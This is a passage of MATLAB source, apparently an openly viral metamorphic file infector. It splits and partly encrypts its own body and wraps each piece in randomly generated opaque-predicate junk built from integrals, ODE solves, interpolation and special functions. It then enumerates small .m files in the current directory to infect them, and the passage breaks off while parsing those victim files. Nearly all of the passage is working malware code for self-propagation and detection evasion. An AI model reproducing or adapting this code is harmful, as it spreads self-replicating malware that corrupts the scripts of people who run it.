  597. for Count000=1:SplitSize disp([num2str(Count000) '/' num2str(SplitSize)]);if(RandPermSS(Count000)>1)for Count001=1:SplitSize if(rand>0.4 && AlgoMatrix(RandPermSS(Count000)-1,Count001))if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count001},'=[',Rnames{Count001},' char(',EncryString,')];'];else NewCode{end+1}=[Rnames{Count001},'=[',Rnames{Count001},' ',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''',''''''),QuoteSign,'];'];end;AlgoMatrix(RandPermSS(Count000),Count001)=1;eval(CreateTrash1);end;end;end;if(sum(AlgoMatrix(RandPermSS(Count000),:),2)==0 && RandPermSS(Count000)<SplitSize-1)for Count002=1:SplitSize if (rand>0.4 && AlgoMatrix(RandPermSS(Count000)+1,Count002)==1)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count002},'=[char(',EncryString,') ',Rnames{Count002},'];'];else NewCode{end+1}=[Rnames{Count002},'=[',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''',''''''),QuoteSign,' ',Rnames{Count002},'];'];end;AlgoMatrix(RandPermSS(Count000),Count002)=1;eval(CreateTrash1);end;end;end;if (sum(AlgoMatrix(RandPermSS(Count000),:),2)==0)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{RandPermSS(Count000)},'=[char(',EncryString,')];'];else NewCode{end+1}=[Rnames{RandPermSS(Count000)},'=',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''',''''''),QuoteSign,';'];end;AlgoMatrix(RandPermSS(Count000),RandPermSS(Count000))=1;
  598.        
  599.        
  600.        
  601.        
  602.         TrashNames{end+1}=Rnames{RandPermSS(Count000)};
  603.         eval(CreateTrash1);
  604.     end
  605.     for Count003=2:SplitSize                                                            % Count003 ... zeile
  606.         for Count004=1:SplitSize                                                        % Count004 ... spalte
  607.             Count005=find(AlgoMatrix(Count003,:));
  608.             if (~AlgoMatrix(Count003,Count004) && AlgoMatrix(Count003-1,Count004) && size(Count005,2)>0 && rand>0.4)
  609.                 if (rand>0.5)
  610.                     NewCode{end+1}=[Rnames{Count004},'=[',Rnames{Count004},' ',Rnames{Count005},'];'];
  611.                     AlgoMatrix(:,Count004)=AlgoMatrix(:,Count004)+AlgoMatrix(:,Count005);
  612.                     AlgoMatrix(:,Count005)=0;
  613.                     eval(CreateTrash1);
  614.                 else
  615.                     NewCode{end+1}=[Rnames{Count005},'=[',Rnames{Count004},' ',Rnames{Count005},'];'];
  616.                     AlgoMatrix(:,Count005)=AlgoMatrix(:,Count005)+AlgoMatrix(:,Count004);
  617.                     AlgoMatrix(:,Count004)=0;
  618.                     eval(CreateTrash1);
  619.                 end
  620.             end
  621.         end
  622.     end
  623. end
  624.  
  625. while ~any(all(AlgoMatrix))
  626.     for Count006=2:SplitSize                                                            % Count006 ... zeile
  627.         for Count007=1:SplitSize                                                        % Count007 ... spalte
  628.             Count008=find(AlgoMatrix(Count006,:));
  629.             if (~AlgoMatrix(Count006,Count007) && AlgoMatrix(Count006-1,Count007) && size(Count008,2)>0 && rand>0.4)
  630.                 if (rand>0.5)
  631.                     NewCode{end+1}=[Rnames{Count007},'=[',Rnames{Count007},' ',Rnames{Count008},'];'];
  632.                     AlgoMatrix(:,Count007)=AlgoMatrix(:,Count007)+AlgoMatrix(:,Count008);
  633.                     AlgoMatrix(:,Count008)=0;
  634.                     TrashNames=Rnames(diag(AlgoMatrix));
  635.                     eval(CreateTrash2);
  636.                 else
  637.                     NewCode{end+1}=[Rnames{Count008},'=[',Rnames{Count007},' ',Rnames{Count008},'];'];
  638.                     AlgoMatrix(:,Count008)=AlgoMatrix(:,Count008)+AlgoMatrix(:,Count007);
  639.                     AlgoMatrix(:,Count007)=0;
  640.                     TrashNames=Rnames(diag(AlgoMatrix));
  641.                     eval(CreateTrash2);
  642.                 end
  643.             end
  644.         end
  645.     end
  646. end
  647.  
  648. for Count009=1:size(NewCode,2)
  649.     disp(NewCode{Count009});
  650.     eval(NewCode{Count009});
  651. end
  652. ViralBodyVariable=Rnames{sum(AlgoMatrix)==SplitSize};
  653. NewCode=strrep(NewCode,ViralBodyVariable,TmpRndName{1});
  654. TrashLine=strrep(TrashLine,ViralBodyVariable,TmpRndName{1});
  655. %disp(ViralBodyVariable);
  656. disp('After Splitting:')
  657. eval(Rnames{sum(AlgoMatrix)==SplitSize});
  658.  
  659.  
  660. ActualCodeForThisPart={}; Var2Wrt={}; ObfusCount=1;
  661. RandomAppearenceOfIfs=fix(rand*2);LineBreaksIf=fix(rand(1,4)*2);LineShift={};LineShift{1}(1:fix(rand*8))=' ';
  662. if rand>0.7 LineShift{1}='    ';end;if rand>0.3 LineShift{2}=LineShift{1};else LineShift{2}(1:fix(rand*8))=' ';end
  663.  
  664. while(ObfusCount<=length(NewCode))
  665.     Var2Wrt{ObfusCount}={};
  666.     ActualCodeForThisPart{ObfusCount}={};
  667.     runcode=0; RandNameCol={};
  668.     for Count010=0:10
  669.         RandNameCol{end+1}='if';while (any(strcmp({FfAll{:} DfAll{:} Rnames{:} RandNameCol{1:end-1}},RandNameCol{end}))||iskeyword(RandNameCol{end})) RandNameCol{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end
  670.     end
  671.  
  672.     CODE=NewCode{ObfusCount};
  673.     TRASH=TrashLine{ObfusCount};
  674.  
  675.     WhichMathAlgo=fix(rand*5);
  676.     if (WhichMathAlgo==1 || WhichMathAlgo==3)
  677.         FReplacePool1={'sin' 'cos' 'exp' 'atan'};
  678.         StartFunction='SOS';SReplacePool1={'(SOS)' 'F(S)' 'if' 'if'};
  679.         while(~isempty(strfind([FReplacePool1{:}], SReplacePool1{3}))||iskeyword(SReplacePool1{3}))SReplacePool1{3}=char(fix(rand(1,fix(rand*4)+2)*25)+97);end
  680.         SReplacePool1{4}=SReplacePool1{3};  OReplacePool1={'.*' '+'};
  681.         while length(strfind(StartFunction,'S'))+length(strfind(StartFunction,'O'))+length(strfind(StartFunction,'F'))>0
  682.             TmpVar001=fix(rand*length(SReplacePool1)+1); StartFunction=regexprep(StartFunction, 'S',SReplacePool1{TmpVar001},rand*length(strfind(StartFunction,'S'))+1); if (TmpVar001>2 && strcmp(SReplacePool1{3}, SReplacePool1{4})); while(~isempty(strfind(SReplacePool1{4},SReplacePool1{3})) || ~isempty(strfind(SReplacePool1{3},SReplacePool1{4})) || ~isempty(strfind([FReplacePool1{:}], SReplacePool1{4})) || iskeyword(SReplacePool1{4})) SReplacePool1{4}=char(fix(rand(1,fix(rand*4)+2)*25)+97); end; end;
  683.             StartFunction=regexprep(StartFunction, 'O',OReplacePool1{fix(rand*length(OReplacePool1)+1)},rand*length(strfind(StartFunction,'O'))+1);
  684.             StartFunction=regexprep(StartFunction, 'F',FReplacePool1{fix(rand*length(FReplacePool1)+1)},rand*length(strfind(StartFunction,'F'))+1);
  685.             if (max(cumsum(StartFunction=='(')-cumsum(StartFunction==')'))>25) SReplacePool1{1}=SReplacePool1{3}; SReplacePool1{2}=SReplacePool1{4}; end;      % restricting the function to depth<25
  686.         end
  687.     end
  688.  
  689.     if (WhichMathAlgo==0)
  690.         MatSizeN=fix(rand*5)+3;
  691.         SomeMatVec{1}=[RandNameCol{end} '=[']; SomeMatVec{2}=[RandNameCol{end-1} '=[']; SomeMatVec{3}=[RandNameCol{end-2} '=['];
  692.         MultFct=rand*30;
  693.         for Count011=1:MatSizeN        
  694.             SomeMatVec{1}=[SomeMatVec{1} ' ' num2str(rand(1,1)*MultFct)];
  695.             SomeMatVec{2}=[SomeMatVec{2} ';' num2str(rand(1,1)*MultFct)];
  696.             SomeMatVec{3}=[SomeMatVec{3} ';'];
  697.             for Count012=1:MatSizeN
  698.                 SomeMatVec{3}=[SomeMatVec{3} ' ' num2str(rand(1,1)*MultFct)];
  699.             end
  700.         end
  701.         SomeMatVec{1}=[SomeMatVec{1} '];']; SomeMatVec{1}(size(RandNameCol{end},2)+3)=''; eval(SomeMatVec{1});
  702.         SomeMatVec{2}=[SomeMatVec{2} '];']; SomeMatVec{2}(size(RandNameCol{end-1},2)+3)=''; eval(SomeMatVec{2});
  703.         SomeMatVec{3}=[SomeMatVec{3} '];']; SomeMatVec{3}(size(RandNameCol{end-2},2)+3:size(RandNameCol{end-2},2)+4)=''; eval(SomeMatVec{3});
  704.         SpecMatName={'toeplitz','vander'}; SpecVecName={'pascal','magic','hilb','invhilb','wilkinson'};
  705.         WhichMatrixAlgo=fix(rand*5);
  706.         if (WhichMatrixAlgo==0)                              % Matrix by vectors multiplication
  707.             Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};                % write both vectors
  708.             Var2Wrt{ObfusCount}{end+1}=SomeMatVec{2};
  709.             MatXNameXX=[RandNameCol{end-1} '*' RandNameCol{end}];
  710.         elseif (WhichMatrixAlgo==1)                        % Direct matrix
  711.             Var2Wrt{ObfusCount}{end+1}=SomeMatVec{3};  % just write matrix
  712.             MatXNameXX=[RandNameCol{end-2}];
  713.         elseif (WhichMatrixAlgo==2)                        % Vector input
  714.             Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};  % just write row vector
  715.             MatXNameXX=[SpecMatName{fix(rand(1,1)*length(SpecMatName)+1)} '(' RandNameCol{end} ')'];
  716.         elseif (WhichMatrixAlgo==3)                        % integer input
  717.             MatXNameXX=[SpecVecName{fix(rand(1,1)*length(SpecVecName)+1)} '(' num2str(MatSizeN) ')'];
  718.         elseif (WhichMatrixAlgo==4)                        % Rosser Test matrix
  719.             MatXNameXX='rosser';
  720.         end
  721.  
  722.         % Finished creating matrix; it is in MatNam
  723.         % additional arithmetic functions
  724.         MatArOp={'sin' 'cos' 'sinh' 'cosh' 'exp' 'tan' 'sqrt' 'real' 'imag'};
  725.         for Count013=1:fix(rand*3+1)
  726.             if (rand>0.66) MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} '(' MatXNameXX ')']; end
  727.         end
  728.         % Now the matrix operation    
  729.         VecArOp={'sum' 'max' 'min'};
  730.         SavedVector=[VecArOp{fix(rand*size(VecArOp,2)+1)} '(' RandNameCol{end} ')'];  
  731.         IsItAVector=1;
  732.         if (rand>0.44) SavedVector=num2str(rand*100-50); IsItAVector=0; end;
  733.         for Count015=1:fix(rand*3+1)
  734.             if (rand>0.66) SavedVector=[MatArOp{fix(rand*size(MatArOp,2)+1)} '(' SavedVector ')']; end
  735.         end
  736.         MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} '(' MatXNameXX ')'];
  737.         for Count016=1:fix(rand*3+1)
  738.             if (rand>0.85) MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} '(' MatXNameXX ')']; end
  739.         end
  740.         MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} '(' MatXNameXX ')'];
  741.         for Count017=1:fix(rand*3+1)
  742.             if (rand>0.85) MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} '(' MatXNameXX ')']; end
  743.         end
  744.         TmpVar002=fix(rand*4);
  745.         Operator1=''; Operator2='';
  746.         if (eval(SavedVector)>eval(MatXNameXX)) Operator1='>'; Operator2='<'; end
  747.         if (eval(SavedVector)<eval(MatXNameXX)) Operator1='<'; Operator2='>'; end
  748.         if (~isempty(Operator1))
  749.             ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];
  750.             ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];                
  751.             if (sum(strcmp(Var2Wrt{ObfusCount},SomeMatVec{1}))==0 && IsItAVector) Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1}; end
  752.             if (TmpVar002==0)
  753.                 ActualCodeForThisPart{ObfusCount}{1}=['if((' SavedVector ')' Operator1 MatXNameXX ')'];
  754.             elseif (TmpVar002==1)
  755.                 ActualCodeForThisPart{ObfusCount}{1}=['if(' MatXNameXX Operator1 '(' SavedVector '))'];
  756.                 ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];
  757.                 ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];  
  758.             elseif (TmpVar002==2)
  759.                 ActualCodeForThisPart{ObfusCount}{1}=['if((' SavedVector ')' Operator2 MatXNameXX ')'];
  760.                 ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];
  761.                 ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];  
  762.             elseif (TmpVar002==3)                
  763.                 ActualCodeForThisPart{ObfusCount}{1}=['if(' MatXNameXX Operator2 '(' SavedVector '))'];
  764.             end
  765.             ActualCodeForThisPart{ObfusCount}{3}=['else'];
  766.             ActualCodeForThisPart{ObfusCount}{5}=['end'];
  767.         else
  768.             ObfusCount=ObfusCount-1;%ActualCodeForThisPart{ObfusCount}{1}='NO!!! MXT';
  769.         end        
  770.  
  771.         RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];
  772.         if ObfusCount
  773.             for Count018=1:size(Var2Wrt{ObfusCount},2)
  774.                 eval(Var2Wrt{ObfusCount}{Count018});
  775.             end
  776.         end
  777.  
  778.     elseif (WhichMathAlgo==1)
  779.         % One or two dimensional integration
  780.         % S -> (SOS) | F(S) | x
  781.         % O -> .* | +
  782.         % F -> sin | cos | exp | atan | ...
  783.  
  784.         % eval('function out = f(x); out = sin(x); end')
  785.         % f = inline('sin(x)')
  786.         % eval('func=@(x)sin(x);')
  787.  
  788.                                                                                    % Matlab does not support temporary-indexing; Octave does support it, thus makes Octave a much more power-/beautiful language
  789.         BoundAll1=cellstr(num2str(rand(5,1))); BoundAll2={'pi','log(2)','sqrt(2)','sqrt(3)',BoundAll1{:}}; BoundAll3=randperm(length(BoundAll2));
  790.  
  791.         if rand>0.6
  792.             StartFunction=strrep(StartFunction,SReplacePool1{4},SReplacePool1{3}); % just one variable for 1d
  793.             %InLineFunc=inline(StartFunction, SReplacePool1{3});
  794.             BoundAll3={BoundAll2{BoundAll3(1:2)}};
  795.             BoundSign=strrep(strrep(cellstr(num2str(rand(2,1)>0.7)),'1','-'),'0',''); BoundAll3={[BoundSign{1} strrep(BoundAll3{1},' ','')],[BoundSign{2} strrep(BoundAll3{2},' ','')]}; BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];
  796.             if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{3}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{3}; BoundAll3(3)=[]; end;
  797.             FctString1='quad'; FctString2=''; FctString3='';
  798.            
  799.         else
  800.             %InLineFunc=inline(StartFunction, SReplacePool1{3}, SReplacePool1{4});
  801.             BoundAll3={BoundAll2{BoundAll3(1:4)}};
  802.             BoundSign=strrep(strrep(cellstr(num2str(rand(4,1)>0.7)),'1','-'),'0','');
  803.             BoundAll3={[BoundSign{1} strrep(BoundAll3{1},' ','')],[BoundSign{2} strrep(BoundAll3{2},' ','')],[BoundSign{3} strrep(BoundAll3{3},' ','')],[BoundSign{4} strrep(BoundAll3{4},' ','')]};          
  804.             BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];
  805.             BoundTmpB=[eval(BoundAll3{3}) eval(BoundAll3{4})];
  806.             if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{5}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{5}; BoundAll3(5)=[]; end;
  807.             if(sum(abs(sort(BoundTmpB)-BoundTmpB))>0) BoundAll3{5}=BoundAll3{3}; BoundAll3{3}=BoundAll3{4}; BoundAll3{4}=BoundAll3{5}; BoundAll3(5)=[]; end;
  808.             FctString1='dblquad'; FctString2=[',' BoundAll3{3} ',' BoundAll3{4}]; FctString3=[',' SReplacePool1{4}];
  809.         end
  810.  
  811.         IntTolerance=fix(real(log10(eval([FctString1 '(@(' SReplacePool1{3} FctString3 ')' StartFunction ',' BoundAll3{1} ',' BoundAll3{2} FctString2 ',1e' num2str(6666) ')']))))+5;
  812.         TimeMeasure=0;
  813.         while (TimeMeasure<0.1 && IntTolerance>-23)
  814.             IntTolerance=IntTolerance-1;
  815.             CompleteCompString=[FctString1 '(@(' SReplacePool1{3} FctString3 ')' StartFunction ',' BoundAll3{1} ',' BoundAll3{2} FctString2 ',1e' num2str(IntTolerance) ')'];
  816.             TimeMeasure=cputime;
  817.             CompleteErg=eval(CompleteCompString);
  818.             TimeMeasure=cputime-TimeMeasure;
  819.             if(isnan(CompleteErg) || isinf(CompleteErg))IntTolerance=-50;end
  820.         end        
  821.  
  822.         if (IntTolerance>-23)    
  823.             runcode=1;
  824.         else
  825.             ObfusCount=ObfusCount-1;%ActualCodeForThisPart{ObfusCount}{1}='NO!!! INT';
  826.         end
  827.  
  828.     elseif (WhichMathAlgo==2)
  829.         % Fun with interpolation
  830.         TmpVar003=fix(rand*50+4); TmpVar004=rand*1000; InterpDataVec=''; for Count019=0:TmpVar003 InterpDataVec=[InterpDataVec num2str(rand*TmpVar004) ' ']; end; InterpDataVec(end)='';
  831.         Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} '=[' InterpDataVec '];']; eval(Var2Wrt{ObfusCount}{end}); InterpSpline=''; if (rand>0.6) InterpSpline=[',' QuoteSign 'spline' QuoteSign]; end
  832.         CompleteCompString=['interp1(' RandNameCol{end} ',' num2str(rand*(TmpVar003-1)+1) InterpSpline ')']; RandNameCol(end)=[];
  833.         CompleteErg=eval(CompleteCompString); runcode=1;
  834.  
  835.     elseif (WhichMathAlgo==3)
  836.         % Ordinary differential equation :)
  837.         Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} '=inline(' QuoteSign StartFunction QuoteSign ',' QuoteSign SReplacePool1{3} QuoteSign ',' QuoteSign SReplacePool1{4} QuoteSign ');']; eval(Var2Wrt{ObfusCount}{end});
  838.         ODEIntervallA=fix(rand*7-3);ODEIntervallB=fix(ODEIntervallA+rand*4+1);
  839.         Var2Wrt{ObfusCount}{end+1}=['[' RandNameCol{end-1} ',' RandNameCol{end-2} ']=ode45(' RandNameCol{end} ',[' num2str(ODEIntervallA) ' ' num2str(ODEIntervallB) '],' num2str(rand*4) ');'];
  840.         eval([Var2Wrt{ObfusCount}{end}(1:end-2) ',odeset(' QuoteSign 'OutputFcn' QuoteSign ',@odefunction));'])
  841.         ODEDomain=eval(RandNameCol{end-1});
  842.         ODEIntX=num2str(rand*ODEIntervallB+ODEIntervallA);
  843.         if rand>0.5
  844.             CompleteCompString=['interp1(' RandNameCol{end-1} ',' RandNameCol{end-2} ',' ODEIntX ')'];
  845.         else
  846.             CompleteCompString=['interp1(' Var2Wrt{ObfusCount}{end}(strfind(Var2Wrt{ObfusCount}{end},'=')+1:end-1) ',' ODEIntX ')'];
  847.             Var2Wrt{ObfusCount}(end)=[];
  848.         end
  849.  
  850.         RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];
  851.         if (length(ODEDomain)>5&&ODEDomain(end)==ODEIntervallB) CompleteErg=eval(CompleteCompString); else CompleteErg=NaN; end        
  852.         if (isnan(CompleteErg) || isinf(CompleteErg) || ODEDomain(end)~=ODEIntervallB)
  853.             while ~isempty(Var2Wrt{ObfusCount}) Var2Wrt{ObfusCount}(end)=[]; end
  854.             ObfusCount=ObfusCount-1;
  855.         else
  856.             runcode=1;
  857.         end
  858.  
  859.     elseif (WhichMathAlgo==4)
  860.         % Special functions :D
  861.         CompleteCompString='F(F(S))'; SReplacePool2={'F(S)' 'F(S)' 'F(S)' 'F(S)' 'F(S)' 'D(S,S)' 'R' 'R'};
  862.         while ~isempty(strfind(CompleteCompString,'S'))
  863.             CompleteCompString=regexprep(CompleteCompString, 'S',SReplacePool2{fix(rand*length(SReplacePool2)+1)},rand*length(strfind(CompleteCompString,'S'))+1);
  864.             if (length(strfind(CompleteCompString,'F'))+length(strfind(CompleteCompString,'D'))>10) SReplacePool2={'R'}; end;
  865.         end
  866.         CompleteCompString=regexprep(CompleteCompString, 'S',SReplacePool2{fix(rand*length(SReplacePool2)+1)});
  867.         while length(strfind(CompleteCompString,'D'))+length(strfind(CompleteCompString,'F'))+length(strfind(CompleteCompString,'R'))>0
  868.             CompleteCompString=regexprep(CompleteCompString, 'F',FfAll{fix(rand*length(FfAll)+1)},rand*length(strfind(CompleteCompString,'F'))+1);
  869.             CompleteCompString=regexprep(CompleteCompString, 'D',DfAll{fix(rand*length(DfAll)+1)},rand*length(strfind(CompleteCompString,'D'))+1);
  870.             CompleteCompString=regexprep(CompleteCompString, 'R',num2str(rand*10-5),rand*length(strfind(CompleteCompString,'R'))+1);
  871.         end
  872.         if (max(cumsum(CompleteCompString=='(')-cumsum(CompleteCompString==')'))<25) CompleteErg=eval(CompleteCompString); else CompleteErg=NaN; end
  873.         if (isnan(CompleteErg) || isinf(CompleteErg))
  874.             ObfusCount=ObfusCount-1;
  875.         else
  876.             runcode=1;
  877.         end      
  878.     end
  879.  
  880.     if (runcode)
  881.         RCWriteVar=0;RCNumSub='0';RCNumAdd='0';
  882.         while (~(CompleteErg>eval(RCNumSub))||~(eval(RCNumSub)<CompleteErg)||~(CompleteErg<eval(RCNumAdd))||~(eval(RCNumAdd)>CompleteErg))
  883.             if WhichMathAlgo==3 MulFacRC=8; IncFacRC=2; else MulFacRC=0.01; IncFacRC=1; end
  884.             RCNumSub=num2str(CompleteErg-(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));
  885.             RCNumAdd=num2str(CompleteErg+(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));
  886.         end
  887.        
  888.         if (rand>0.4)
  889.             RCsSub=[RandNameCol{end} '=' RCNumSub ';']; RCNumSub=RandNameCol{end};
  890.             RCsAdd=[RandNameCol{end} '=' RCNumAdd ';']; RCNumAdd=RandNameCol{end}; RCWriteVar=1; RandNameCol(end)=[];
  891.         end
  892.         ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];
  893.         ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];
  894.         if(RCWriteVar) Var2Wrt{ObfusCount}{end+1}=RCsSub; eval(RCsSub); end
  895.         runcode=1;
  896.         TmpVar005=fix(rand*4);
  897.        
  898.         if (TmpVar005==0)
  899.             if (rand>0.5) ActualCodeForThisPart{ObfusCount}{1}=['if(' CompleteCompString '>' RCNumSub ')']; else ActualCodeForThisPart{ObfusCount}{1}=['if(' RCNumSub '<' CompleteCompString ')']; end
  900.         elseif (TmpVar005==1)
  901.             if (rand>0.5) ActualCodeForThisPart{ObfusCount}{1}=['if(' CompleteCompString '<' RCNumSub ')']; else ActualCodeForThisPart{ObfusCount}{1}=['if(' RCNumSub '>' CompleteCompString ')']; end
  902.             ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];
  903.             ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];
  904.         elseif (TmpVar005==2)
  905.             if (rand>0.5) ActualCodeForThisPart{ObfusCount}{1}=['if(' CompleteCompString '>' RCNumAdd ')']; else ActualCodeForThisPart{ObfusCount}{1}=['if(' RCNumAdd '<' CompleteCompString ')']; end
  906.             if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd; eval(RCsAdd); end
  907.             ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];
  908.             ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];
  909.         elseif (TmpVar005==3)
  910.             if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=['if(' CompleteCompString '<' RCNumAdd ')']; else ActualCodeForThisPart{ObfusCount}{1}=['if(' RCNumAdd '>' CompleteCompString ')']; end
  911.             if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd; eval(RCsAdd); end
  912.         end
  913.         ActualCodeForThisPart{ObfusCount}{3}='else';
  914.         ActualCodeForThisPart{ObfusCount}{5}='end';
  915.     end
  916.     TmpVar006=4;TmpStrWS={'' '' ' ' '' ''};
  917.     while TmpVar006>0        
  918.         if ObfusCount
  919.             if (LineBreaksIf(TmpVar006)==1 && length(ActualCodeForThisPart{ObfusCount})==5)
  920.                 ActualCodeForThisPart{ObfusCount}{TmpVar006}=[ActualCodeForThisPart{ObfusCount}{TmpVar006} TmpStrWS{TmpVar006} ActualCodeForThisPart{ObfusCount}{TmpVar006+1}];
  921.                 ActualCodeForThisPart{ObfusCount}(TmpVar006+1)=[];
  922.             end
  923.         end
  924.         TmpVar006=TmpVar006-1;
  925.     end
  926.    
  927.     if(RandomAppearenceOfIfs)
  928.         LineBreaksIf=fix(rand(1,4)*2); LineShift={};
  929.         LineShift{1}(1:fix(rand*8))=' '; if rand>0.7 LineShift{1}='    ';end
  930.         if rand>0.4
  931.             LineShift{2}=LineShift{1};
  932.         else
  933.             LineShift{2}(1:fix(rand*8))=' ';
  934.         end;
  935.     end
  936.     ObfusCount=ObfusCount+1;
  937.  
  938.     disp(ObfusCount/length(NewCode));
  939. end
  940. Var2Wrt{1}{end+1}='warning off all';
  941. ActualCodeForThisPart{end+1}={['TheImportantValue=' TmpRndName{1} '; eval(TheImportantValue);']}; Var2Wrt{end+1}={};
  942. ActualCodeForThisPart{end+1}={['TheValueToCompare=' QuoteSign 'disp(' QuoteSign QuoteSign 'Bedecke deinen Himmel, Zeus, Mit Wolkendunst, Und übe, dem Knaben gleich, Der Disteln köpft, An Eichen dich und Bergeshöhn; Müßt mir meine Erde Doch lassen stehn, Und meine Hütte, die du nicht gebaut, Und meinen Herd Um dessen Gluth Du mich beneidest.' QuoteSign QuoteSign ');' QuoteSign ';']};Var2Wrt{end+1}={};
  943. ActualCodeForThisPart{end+1}={['if(strcmp(TheImportantValue,TheValueToCompare)) load gong.mat;sound(y, Fs);else disp(' QuoteSign 'SOME PROBLEM' QuoteSign '); load handel.mat; for i=1:1 sound(y, Fs); end; input(' QuoteSign 'STOP' QuoteSign '); end']};Var2Wrt{end+1}={};
  944.  
  945. if ~isempty(Var2Wrt)
  946.     for j=1:length(Var2Wrt)
  947.         for i=1:length(Var2Wrt{j})
  948.             disp(Var2Wrt{j}{i});
  949.         end
  950.     end
  951. end
  952.  
  953. if ~isempty(ActualCodeForThisPart)
  954.     for j=1:length(ActualCodeForThisPart)
  955.         for i=1:length(ActualCodeForThisPart{j})
  956.             disp(ActualCodeForThisPart{j}{i});
  957.         end
  958.     end
  959. end
  960.  
  961. eval(ViralBodyVariable);
  962.  
  963. disp('Lets start the insertation!');
  964.  
  965.  
  966. VirCode={}; Count020=length(ActualCodeForThisPart);
  967. while Count020>0
  968.     VirCode{end+1}=ActualCodeForThisPart{Count020};
  969.     for Count021=Count020:length(ActualCodeForThisPart)    
  970.         if ~isempty(Var2Wrt{Count021}) if rand>0.3 VirCode{end+1}=Var2Wrt{Count021}(end); Var2Wrt{Count021}(end)=[]; end; end
  971.     end
  972.     Count020=Count020-1;
  973. end
  974.  
  975. IsAllEmpty=false;
  976. while ~IsAllEmpty
  977.     IsAllEmpty=true;
  978.     for Count022=1:length(Var2Wrt)
  979.         if ~isempty(Var2Wrt{Count022})
  980.             IsAllEmpty=false;
  981.             if rand>0.5
  982.                 VirCode{end+1}=Var2Wrt{Count022}(end); Var2Wrt{Count022}(end)=[];
  983.             end
  984.         end
  985.     end
  986. end
  987.  
  988. %VirCode{:}
  989.  
  990. VicFiles=dir('*.m');
  991. VicLines={};
  992. for Count023=1:length(VicFiles)
  993.     if (VicFiles(Count023).bytes<1000 && ~strcmp(VicFiles(Count023).name,'odefunction.m'))
  994.         disp(VicFiles(Count023).name);
  995.         VicIDr=fopen(VicFiles(Count023).name, 'r'); VicLines={fgetl(VicIDr)};
  996.         while ischar(VicLines{end});
  997.            VicLines{end+1}=fgetl(VicIDr);
  998.         end
  999.         VicLines(end)=[];
  1000.         %VicLines(:)
  1001.  
  1002.         % Remove Commands and ...
  1003.  
  1004.         Count024=1;
  1005.         while Count024<length(VicLines)+1
  1006.             IsAPO=0;
  1007.             Count025=1;
  1008.             while Count025<length(VicLines{Count024})+1
  1009.                 if VicLines{Count024}(Count025)==QuoteSign IsAPO=~IsAPO; end
  1010.                 if ~IsAPO
  1011.                     if VicLines{Count024}(Count025)==char(37)
  1012.                         if Count025==1 VicLines(Count024)=[]; else VicLines{Count024}=VicLines{Count024}(1:Count025-1); end
  1013.                     end
  1014.                     if Count025+1<length(VicLines{Count024})
  1015.                         if all(VicLines{Count024}(Count025:Count025+2)=='...')
  1016.                             VicLines{Count024}=strcat(VicLines{Count024}(1:Count025-1),VicLines{Count024+1}); Count025=1;
  1017.                             if length(VicLines)>Count024 VicLines(Count024+1)=[]; end
  1018.                         end
  1019.                     end
  1020.                 end
  1021.                 Count025=Count025+1;
  1022.             end
  1023.             Count024=Count024+1;
  1024.         end
  1025.  
  1026.         EndArray={'if' 'for' 'while' 'try' 'switch' 'parfor'}; EndCount=0;
  1027.         GoodLine=[];
  1028.         for Count026=1:length(VicLines)
  1029.             IsAPP=0;
  1030.             if ~EndCount GoodLine=[GoodLine Count026]; end
  1031.             for Count027=1:length(VicLines{Count026})
  1032.                 if (VicLines{Count026}(Count027)==QuoteSign) IsAPP=~IsAPP; end
  1033.                 if ~IsAPP
  1034.                     for Count028=1:length(EndArray)
  1035.                         if Count027+length(EndArray{Count028})<length(VicLines{Count026})
  1036.                             if all(VicLines{Count026}(Count027:Count027+length(EndArray{Count028})-1)==EndArray{Count028})
  1037.                                 IsStart=0;
  1038.                                 if (Count027==1)
  1039.                                     IsStart=1;
